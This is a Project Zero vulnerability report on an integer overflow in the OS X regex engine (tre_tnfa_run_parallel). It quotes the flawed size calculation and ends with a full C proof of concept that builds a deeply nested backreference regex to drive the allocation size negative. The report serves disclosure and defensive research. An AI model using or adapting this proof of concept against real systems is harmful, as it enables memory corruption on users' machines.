Source: https://code.google.com/p/google-security-research/issues/detail?id=429
The OS X regex engine function tre_tnfa_run_parallel contains the following code:
int tbytes;
...
if (!match_tags)
num_tags = 0;
else
num_tags = tnfa->num_tags;
...
{
int rbytes, pbytes, total_bytes;
char *tmp_buf;
/* Compute the length of the block we need. */
tbytes = sizeof(*tmp_tags) * num_tags;
rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
pbytes = sizeof(*reach_pos) * tnfa->num_states;
total_bytes =
(sizeof(long) - 1) * 4 /* for alignment paddings */
+ (rbytes + tbytes * tnfa->num_states) * 2 + tbytes + pbytes;
DPRINT(("tre_tnfa_run_parallel, allocate %d bytes\n", total_bytes));
/* Allocate the memory. */
#ifdef TRE_USE_ALLOCA
buf = alloca(total_bytes);
#else /* !TRE_USE_ALLOCA */
buf = xmalloc((unsigned)total_bytes); <-- malloc is called, not alloca
#endif /* !TRE_USE_ALLOCA */
if (buf == NULL)
return REG_ESPACE;
memset(buf, 0, (size_t)total_bytes);
num_states and num_tags are computed based on the requirements of the regex and it's quite easy to make them each >64k with a relatively small regex. Note that total_bytes is an int and part of its calculation is the product of num_states and num_tags.
The types here are all over the place and there's conversion between int, unsigned's and size_t.
The attached PoC causes total_bytes to become negative leading to total_bytes being sign-extended in the memset call.
Severity medium because I haven't looked for exposed attack surface yet, but this doesn't require any non-standard flags (only REG_EXTENDED which is almost always used.)
Proof of Concept:
//ianbeer
#include <pthread.h>
#include <regex.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define DEFAULT_REG_FLAGS (REG_EXTENDED)
void* go(void* arg){
unsigned int nesting_level = 20;
size_t inner_size = nesting_level*2+10;
char* inner = malloc(inner_size);
memset(inner, '(', nesting_level);
inner[nesting_level] = '\\';
inner[nesting_level+1] = '1';
memset(&inner[nesting_level+2], ')', nesting_level);
inner[nesting_level*2+2] = '\x00';
unsigned int n_captures = 0x1000;
char* regex = malloc(n_captures * inner_size + 100);
strcpy(regex, "f(o)o((b)a(r))");
for (unsigned int i = 0; i < n_captures; i++) {
strcat(regex, inner);
}
strcat(regex, "r\\1o|\\2f|\\3l|\\4");
const char* match_against = "hellothar!";
regex_t re;
int err = regcomp (&re, regex, DEFAULT_REG_FLAGS);
if (err == 0) {
void* something = malloc(100);
regexec (&re, match_against, 1, (regmatch_t*)something, DEFAULT_REG_FLAGS);
}
return NULL;
}
int main (int argc, char const** argv)
{
go(NULL);
return 0;
}Data
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